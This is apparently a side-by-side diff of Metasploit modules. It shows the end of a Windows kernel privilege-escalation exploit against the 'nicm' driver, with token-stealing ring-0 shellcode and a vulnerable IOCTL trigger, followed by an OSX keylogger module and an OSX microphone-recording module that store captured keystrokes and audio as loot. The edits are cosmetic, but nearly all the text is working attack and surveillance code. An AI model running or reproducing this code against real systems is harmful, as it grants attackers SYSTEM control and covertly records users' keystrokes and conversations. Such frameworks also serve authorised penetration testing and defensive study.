["PDWORD", "lpcbNeeded", "out"] ["PDWORD", "lpcbNeeded", "out"]
]) ])
session.railgun.add_function( session.railgun.add_function(
'psapi', 'psapi',
'GetDeviceDriverBaseNameA', 'GetDeviceDriverBaseNameA',
'DWORD', 'DWORD',
[ [
["LPVOID", "ImageBase", "in"], ["LPVOID", "ImageBase", "in"],
["PBLOB", "lpBaseName", "out"], ["PBLOB", "lpBaseName", "out"],
["DWORD", "nSize", "in"] ["DWORD", "nSize", "in"]
]) ])
end end
def open_device(dev) def open_device(dev)
invalid_handle_value = 0xFFFFFFFF invalid_handle_value = 0xFFFFFFFF
r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0) r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
handle = r['return'] handle = r['return']
if handle == invalid_handle_value if handle == invalid_handle_value
return nil return nil
end end
return handle return handle
end end
def ring0_shellcode(t) def ring0_shellcode(t)
tokenstealing = "\x52" # push edx # Save edx on the stack tokenstealing = "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0f8h] # Retrieves TOKEN tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0f8h] # Retrieves TOKEN
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+b8h] <====| # Retrieve FLINK from ActiveProcessLinks tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+b8h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,b8h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,b8h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ====================== tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x08" # ret 08h # Away from the kernel! tokenstealing << "\xc2\x08" # ret 08h # Away from the kernel!
return tokenstealing return tokenstealing
end end
def allocate_memory(proc, address, length) def allocate_memory(proc, address, length)
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
if not result["BaseAddress"] or result["BaseAddress"].empty? if not result["BaseAddress"] or result["BaseAddress"].empty?
vprint_error("Failed to allocate memory") vprint_error("Failed to allocate memory")
return nil return nil
end end
my_address = result["BaseAddress"].unpack("V")[0] my_address = result["BaseAddress"].unpack("V")[0]
vprint_good("Memory allocated at 0x#{my_address.to_s(16)}") vprint_good("Memory allocated at 0x#{my_address.to_s(16)}")
if not proc.memory.writable?(my_address) if not proc.memory.writable?(my_address)
vprint_error("Failed to allocate memory") vprint_error("Failed to allocate memory")
return nil return nil
else else
vprint_good("0x#{my_address.to_s(16)} is now writable") vprint_good("0x#{my_address.to_s(16)} is now writable")
end end
return my_address return my_address
end end
def junk(n=4) def junk(n=4)
return rand_text_alpha(n).unpack("V").first return rand_text_alpha(n).unpack("V").first
end end
def check def check
handle = open_device("\\\\.\\nicm") handle = open_device("\\\\.\\nicm")
if handle.nil? if handle.nil?
return Exploit::CheckCode::Safe return Exploit::CheckCode::Safe
end end
session.railgun.kernel32.CloseHandle(handle) session.railgun.kernel32.CloseHandle(handle)
return Exploit::CheckCode::Detected return Exploit::CheckCode::Detected
end end
def exploit def exploit
vprint_status("Adding the railgun stuff...") vprint_status("Adding the railgun stuff...")
add_railgun_functions add_railgun_functions
if sysinfo["Architecture"] =~ /wow64/i if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported") fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/ elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end end
my_target = nil my_target = nil
if target.name =~ /Automatic/ if target.name =~ /Automatic/
print_status("Detecting the target system...") print_status("Detecting the target system...")
os = sysinfo["OS"] os = sysinfo["OS"]
if os =~ /windows 7/i if os =~ /windows 7/i
my_target = targets[1] my_target = targets[1]
print_status("Running against #{my_target.name}") print_status("Running against #{my_target.name}")
end end
else else
my_target = target my_target = target
end end
if my_target.nil? if my_target.nil?
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually") fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
end end
print_status("Checking device...") print_status("Checking device...")
handle = open_device("\\\\.\\nicm") handle = open_device("\\\\.\\nicm")
if handle.nil? if handle.nil?
fail_with(Failure::NoTarget, "\\\\.\\nicm device not found") fail_with(Failure::NoTarget, "\\\\.\\nicm device not found")
else else
print_good("\\\\.\\nicm found!") print_good("\\\\.\\nicm found!")
end end
this_proc = session.sys.process.open this_proc = session.sys.process.open
print_status("Storing the Kernel stager on memory...") print_status("Storing the Kernel stager on memory...")
stager_address = 0x0d0d0000 stager_address = 0x0d0d0000
stager_address = allocate_memory(this_proc, stager_address, 0x1000) stager_address = allocate_memory(this_proc, stager_address, 0x1000)
if stager_address.nil? or stager_address == 0 if stager_address.nil? or stager_address == 0
session.railgun.kernel32.CloseHandle(handle) session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Failed to allocate memory") fail_with(Failure::Unknown, "Failed to allocate memory")
end end
# eax => &kernel_stager # eax => &kernel_stager
# .text:000121A3 mov ecx, eax # .text:000121A3 mov ecx, eax
# .text:000121A5 mov eax, [ecx] # .text:000121A5 mov eax, [ecx]
# .text:000121A7 mov edx, [eax] # .text:000121A7 mov edx, [eax]
# .text:000121A9 push ecx # .text:000121A9 push ecx
# .text:000121AA push eax # .text:000121AA push eax
# .text:000121AB call dword ptr [edx+0Ch] # .text:000121AB call dword ptr [edx+0Ch]
kernel_stager = [ kernel_stager = [
stager_address + 0x14, # stager_address stager_address + 0x14, # stager_address
junk, junk,
junk, junk,
junk, junk,
junk, junk,
stager_address + 0x18, # stager_address + 0x14 stager_address + 0x18, # stager_address + 0x14
junk, junk,
junk, junk,
junk, junk,
stager_address + 0x28 # stager_address + 0x24 stager_address + 0x28 # stager_address + 0x24
].pack("V*") ].pack("V*")
kernel_stager << ring0_shellcode(my_target) kernel_stager << ring0_shellcode(my_target)
result = this_proc.memory.write(stager_address, kernel_stager) result = this_proc.memory.write(stager_address, kernel_stager)
if result.nil? if result.nil?
session.railgun.kernel32.CloseHandle(handle) session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Failed to write contents to memory") fail_with(Failure::Unknown, "Failed to write contents to memory")
else else
vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}") vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}")
end end
print_status("Triggering the vulnerability to execute the Kernel Handler") print_status("Triggering the vulnerability to execute the Kernel Handler")
magic_ioctl = 0x143B6B # Vulnerable IOCTL magic_ioctl = 0x143B6B # Vulnerable IOCTL
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0) ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0)
session.railgun.kernel32.CloseHandle(handle) session.railgun.kernel32.CloseHandle(handle)
if ioctl["GetLastError"] != 0 if ioctl["GetLastError"] != 0
print_error("Something wrong while triggering the vulnerability, anyway checking privileges...") print_error("Something wrong while triggering the vulnerability, anyway checking privileges...")
end end
print_status("Checking privileges after exploitation...") print_status("Checking privileges after exploitation...")
if not is_system? if not is_system?
fail_with(Failure::Unknown, "The exploitation wasn't successful") fail_with(Failure::Unknown, "The exploitation wasn't successful")
else else
print_good("Exploitation successful!") print_good("Exploitation successful!")
end end
p = payload.encoded p = payload.encoded
print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
if execute_shellcode(p) if execute_shellcode(p)
print_good("Enjoy") print_good("Enjoy")
else else
fail_with(Failure::Unknown, "Error while executing the payload") fail_with(Failure::Unknown, "Error while executing the payload")
end end
end end
end end

View File

@ -8,142 +8,142 @@
require 'shellwords' require 'shellwords'
class Metasploit3 < Msf::Post class Metasploit3 < Msf::Post
include Msf::Post::Common include Msf::Post::Common
include Msf::Post::File include Msf::Post::File
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
# when we need to read from the keylogger, # when we need to read from the keylogger,
# we first "knock" the process by sending a USR1 signal. # we first "knock" the process by sending a USR1 signal.
# the keylogger opens a local tcp port (22899 by default) momentarily # the keylogger opens a local tcp port (22899 by default) momentarily
# that we can connect to and read from (using cmd_exec(telnet ...)). # that we can connect to and read from (using cmd_exec(telnet ...)).
attr_accessor :port attr_accessor :port
# the pid of the keylogger process # the pid of the keylogger process
attr_accessor :pid attr_accessor :pid
# where we are storing the keylog # where we are storing the keylog
attr_accessor :loot_path attr_accessor :loot_path
def initialize(info={}) def initialize(info={})
super(update_info(info, super(update_info(info,
'Name' => 'OSX Capture Userspace Keylogger', 'Name' => 'OSX Capture Userspace Keylogger',
'Description' => %q{ 'Description' => %q{
Logs all keyboard events except cmd-keys and GUI password input. This module logs all keyboard events except cmd-keys and GUI password input.
Keylogs are transferred between client/server in chunks Keylogs are transferred between client/server in chunks
every SYNCWAIT seconds for reliability. every SYNCWAIT seconds for reliability.
Works by calling the Carbon GetKeys() hook using the DL lib It works by calling the Carbon GetKeys() hook using the DL lib
in OSX's system Ruby. The Ruby code is executed in a shell in OSX's system Ruby. The Ruby code is executed in a shell
command using -e, so the payload never hits the disk. command using -e, so the payload never hits the disk.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => [ 'joev <jvennix[at]rapid7.com>'], 'Author' => [ 'joev <jvennix[at]rapid7.com>'],
'Platform' => [ 'osx'], 'Platform' => [ 'osx'],
'SessionTypes' => [ 'shell', 'meterpreter' ] 'SessionTypes' => [ 'shell', 'meterpreter' ]
)) ))
register_options( register_options(
[ [
OptInt.new('DURATION', OptInt.new('DURATION',
[ true, 'The duration in seconds.', 600 ] [ true, 'The duration in seconds.', 600 ]
), ),
OptInt.new('SYNCWAIT', OptInt.new('SYNCWAIT',
[ true, 'The time between transferring log chunks.', 10 ] [ true, 'The time between transferring log chunks.', 10 ]
), ),
OptPort.new('LOGPORT', OptPort.new('LOGPORT',
[ false, 'Local port opened for momentarily for log transfer', 22899 ] [ false, 'Local port opened for momentarily for log transfer', 22899 ]
) )
] ]
) )
end end
def run_ruby_code def run_ruby_code
# to pass args to ruby -e we use ARGF (stdin) and yaml # to pass args to ruby -e we use ARGF (stdin) and yaml
opts = { opts = {
:duration => datastore['DURATION'].to_i, :duration => datastore['DURATION'].to_i,
:port => self.port :port => self.port
} }
cmd = ['ruby', '-e', ruby_code(opts)] cmd = ['ruby', '-e', ruby_code(opts)]
rpid = cmd_exec(cmd.shelljoin, nil, 10) rpid = cmd_exec(cmd.shelljoin, nil, 10)
if rpid =~ /^\d+/ if rpid =~ /^\d+/
print_status "Ruby process executing with pid #{rpid.to_i}" print_status "Ruby process executing with pid #{rpid.to_i}"
rpid.to_i rpid.to_i
else else
fail_with(Exploit::Failure::Unknown, "Ruby keylogger command failed with error #{rpid}") fail_with(Exploit::Failure::Unknown, "Ruby keylogger command failed with error #{rpid}")
end end
end end
def run def run
if session.nil? if session.nil?
print_error "Invalid SESSION id." print_error "Invalid SESSION id."
return return
end end
if datastore['DURATION'].to_i < 1 if datastore['DURATION'].to_i < 1
print_error 'Invalid DURATION value.' print_error 'Invalid DURATION value.'
return return
end end
print_status "Executing ruby command to start keylogger process." print_status "Executing ruby command to start keylogger process."
@port = datastore['LOGPORT'].to_i @port = datastore['LOGPORT'].to_i
@pid = run_ruby_code @pid = run_ruby_code
begin begin
Timeout.timeout(datastore['DURATION']+5) do # padding to read the last logs Timeout.timeout(datastore['DURATION']+5) do # padding to read the last logs
print_status "Entering read loop" print_status "Entering read loop"
while true while true
print_status "Waiting #{datastore['SYNCWAIT']} seconds." print_status "Waiting #{datastore['SYNCWAIT']} seconds."
Rex.sleep(datastore['SYNCWAIT']) Rex.sleep(datastore['SYNCWAIT'])
print_status "Sending USR1 signal to open TCP port..." print_status "Sending USR1 signal to open TCP port..."
cmd_exec("kill -USR1 #{self.pid}") cmd_exec("kill -USR1 #{self.pid}")
print_status "Dumping logs..." print_status "Dumping logs..."
log = cmd_exec("telnet localhost #{self.port}") log = cmd_exec("telnet localhost #{self.port}")
log_a = log.scan(/^\[.+?\] \[.+?\] .*$/) log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
log = log_a.join("\n")+"\n" log = log_a.join("\n")+"\n"
print_status "#{log_a.size} keystrokes captured" print_status "#{log_a.size} keystrokes captured"
if log_a.size > 0 if log_a.size > 0
if self.loot_path.nil? if self.loot_path.nil?
self.loot_path = store_loot( self.loot_path = store_loot(
"keylog", "text/plain", session, log, "keylog.log", "OSX keylog" "keylog", "text/plain", session, log, "keylog.log", "OSX keylog"
) )
else else
File.open(self.loot_path, 'a') { |f| f.write(log) } File.open(self.loot_path, 'ab') { |f| f.write(log) }
end end
print_status(log_a.map{ |a| a=~/([^\s]+)\s*$/; $1 }.join) print_status(log_a.map{ |a| a=~/([^\s]+)\s*$/; $1 }.join)
print_status "Saved to #{self.loot_path}" print_status "Saved to #{self.loot_path}"
end end
end end
end end
rescue ::Timeout::Error rescue ::Timeout::Error
print_status "Keylogger run completed." print_status "Keylogger run completed."
end end
end end
def kill_process(pid) def kill_process(pid)
print_status "Killing process #{pid.to_i}" print_status "Killing process #{pid.to_i}"
cmd_exec("kill #{pid.to_i}") cmd_exec("kill #{pid.to_i}")
end end
def cleanup def cleanup
return if session.nil? return if session.nil?
return if not @cleaning_up.nil? return if not @cleaning_up.nil?
@cleaning_up = true @cleaning_up = true
if self.pid.to_i > 0 if self.pid.to_i > 0
print_status("Cleaning up...") print_status("Cleaning up...")
kill_process(self.pid) kill_process(self.pid)
end end
end end
def ruby_code(opts={}) def ruby_code(opts={})
<<-EOS <<-EOS
# Kick off a child process and let parent die # Kick off a child process and let parent die
child_pid = fork do child_pid = fork do
require 'thread' require 'thread'

View File

@ -17,37 +17,37 @@ class Metasploit3 < Msf::Post
POLL_TIMEOUT = 120 POLL_TIMEOUT = 120
def initialize(info={}) def initialize(info={})
super(update_info(info, super(update_info(info,
'Name' => 'OSX Manage Record Microphone', 'Name' => 'OSX Manage Record Microphone',
'Description' => %q{ 'Description' => %q{
This module will allow you to detect (with the LIST action) and This module will allow the user to detect (with the LIST action) and
capture (with the RECORD action) audio inputs on a remote OSX machine. capture (with the RECORD action) audio inputs on a remote OSX machine.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => [ 'joev <jvennix[at]rapid7.com>'], 'Author' => [ 'joev <jvennix[at]rapid7.com>'],
'Platform' => [ 'osx'], 'Platform' => [ 'osx'],
'SessionTypes' => [ 'shell', 'meterpreter' ], 'SessionTypes' => [ 'shell', 'meterpreter' ],
'Actions' => [ 'Actions' => [
[ 'LIST', { 'Description' => 'Show a list of microphones' } ], [ 'LIST', { 'Description' => 'Show a list of microphones' } ],
[ 'RECORD', { 'Description' => 'Record from a selected audio input' } ] [ 'RECORD', { 'Description' => 'Record from a selected audio input' } ]
], ],
'DefaultAction' => 'LIST' 'DefaultAction' => 'LIST'
)) ))
register_options( register_options(
[ [
OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]), OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
OptString.new('TMP_FILE', OptString.new('TMP_FILE',
[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>'] [true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']
), ),
OptString.new('AUDIO_COMPRESSION', OptString.new('AUDIO_COMPRESSION',
[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio'] [true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']
), ),
OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]), OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5]) OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
], self.class) ], self.class)
end end
def run def run
@ -72,48 +72,48 @@ class Metasploit3 < Msf::Post
:snap_file => tmp_file :snap_file => tmp_file
) )
output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin) output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
if action.name =~ /list/i if action.name =~ /list/i
print_good output print_good output
elsif action.name =~ /record/i elsif action.name =~ /record/i
@pid = output.to_i @pid = output.to_i
print_status "Running record service with PID #{@pid}" print_status "Running record service with PID #{@pid}"
(0...num_chunks).each do |i| (0...num_chunks).each do |i|
# wait SYNC_WAIT seconds # wait SYNC_WAIT seconds
print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds" print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
Rex.sleep(datastore['SYNC_WAIT']) Rex.sleep(datastore['SYNC_WAIT'])
# start reading for file # start reading for file
begin begin
::Timeout.timeout(poll_timeout) do ::Timeout.timeout(poll_timeout) do
while true while true
if File.exist?(tmp_file) if File.exist?(tmp_file)
# read file # read file
contents = File.read(tmp_file) contents = File.read(tmp_file)
# delete file # delete file
rm_f(tmp_file) rm_f(tmp_file)
# roll filename # roll filename
base = File.basename(tmp_file, '.*') # returns it with no extension base = File.basename(tmp_file, '.*') # returns it with no extension
num = ((base.match(/\d+$/)||['0'])[0].to_i+1).to_s num = ((base.match(/\d+$/)||['0'])[0].to_i+1).to_s
ext = File.extname(tmp_file) || 'o' ext = File.extname(tmp_file) || 'o'
tmp_file = File.join(File.dirname(tmp_file), base+num+'.'+ext) tmp_file = File.join(File.dirname(tmp_file), base+num+'.'+ext)
# store contents in file # store contents in file
title = "OSX Mic Recording "+i.to_s title = "OSX Mic Recording "+i.to_s
f = store_loot(title, "audio/quicktime", session, contents, f = store_loot(title, "audio/quicktime", session, contents,
"osx_mic_rec#{i}.qt", title) "osx_mic_rec#{i}.qt", title)
print_good "Record file captured and saved to #{f}" print_good "Record file captured and saved to #{f}"
print_status "Rolling record file. " print_status "Rolling record file. "
break break
else else
Rex.sleep(0.3) Rex.sleep(0.3)
end end
end end
end end
rescue ::Timeout::Error rescue ::Timeout::Error
fail_with("Client did not respond to file request after #{poll_timeout}s, exiting.") fail_with("Client did not respond to file request after #{poll_timeout}s, exiting.")
end end
end end
end end
end end
def cleanup def cleanup
return unless @cleaning_up.nil? return unless @cleaning_up.nil?